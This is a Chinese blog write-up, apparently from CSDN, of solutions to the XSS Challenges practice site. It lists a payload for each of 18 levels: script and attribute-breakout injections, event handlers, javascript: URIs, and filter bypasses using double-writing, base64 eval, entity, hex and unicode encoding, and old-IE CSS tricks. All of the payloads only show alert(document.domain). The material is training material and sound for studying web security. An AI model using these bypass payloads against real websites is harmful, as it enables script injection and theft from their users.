XSS Challenges部分题目总结

https://xss-quiz.int21h.jp
1.没有过滤的xss

<script>alert(document.domain);</script>

在这里插入图片描述

  1. 属性中的xss
    设置独一无二的字符串如:“yyy”,方便查找值在代码中的结果

在这里插入图片描述

"><script>alert(document.domain);</script>

在这里插入图片描述
3. 选择列表中的xss

<script>alert(document.domain);</script>

在这里插入图片描述
4.隐藏参数中的xss

"><svg onload=alert(document.domain)>=%0a

在这里插入图片描述

5.限制输入长度

<script>alert(document.domain);</script>

在这里插入图片描述

6.HTML事件中的xss

onmouseover="alert(document.domain)"

在这里插入图片描述

7.空格分隔属性中的xss
1111 1111=111
在这里插入图片描述

onmouseover=alert(document.domain)

在这里插入图片描述

8.JavaScript伪协议触发xss

javascript:alert(document.domain);

在这里插入图片描述

  1. UTF-7 编码的xxs
onclick="alert(document.domain)"

在这里插入图片描述

10.绕过过滤domain为空的xss
输入<script>alert(document.domain);</script>,查看代码发现过滤domain
在这里插入图片描述
-双写绕过

"><script>alert(document.ddomainomain);</script>

在这里插入图片描述
-编码绕过

"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

在这里插入图片描述

11.绕过替换script和on事件的xss
输入<script>alert(document.domain);</script>,结果将 “script”替换“xscript”
在这里插入图片描述
-伪协议+&#09不可见字符绕过

"><a href="javas&#09cript:alert(document.domain);">here</a>

在这里插入图片描述

-伪协议+字符转为unicode编码绕过

"><a href="java&#115;cript:alert(document.domain);">here</a>

在这里插入图片描述
12.利用IE特性(反引号``闭合左边双引号)绕过xss过滤

``onmousemove=alert(document.domain)

在这里插入图片描述
13.利用css特性绕过xss过滤(低版本IE)

backgroud-color:#f00;background:url("javascript:alert(document.domain);");

在这里插入图片描述
14. 利用css特性绕过xss过滤(低版本IE)
这里过滤了expression,url,eval,script,但是通过加入注释符可绕过:

here:expre/**/ssion(onmouseover=function(){alert(document.domain)}

或者:

here:expre/**/ssion(window.x?0:(alert(document.domain),window.x=1)); 

在这里插入图片描述

15.十六进制绕过过滤触发xss
输入asd<script>alert(document.domain);</script>,查看代码发现第二处过滤“/”

在这里插入图片描述在这里插入图片描述在这里插入图片描述

\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

在这里插入图片描述
16. Unicode编码绕过过滤触发xss

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

在这里插入图片描述
17. 利用特殊字节吃掉双引号绕过xss(低版本IE)

p1=1%A7&p2=+onmousemove%3Dalert%28document.domain%29%3B+%A7

在这里插入图片描述

18浏览器解析错误(低版本IE)
把一些8位的字符直接解释成7位ascii
"><script>alert(document.domain)</scirpt> 就转换
%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE(已经修复)

发布了42 篇原创文章 · 获赞 67 · 访问量 5215

猜你喜欢

转载自blog.csdn.net/weixin_42299610/article/details/104763039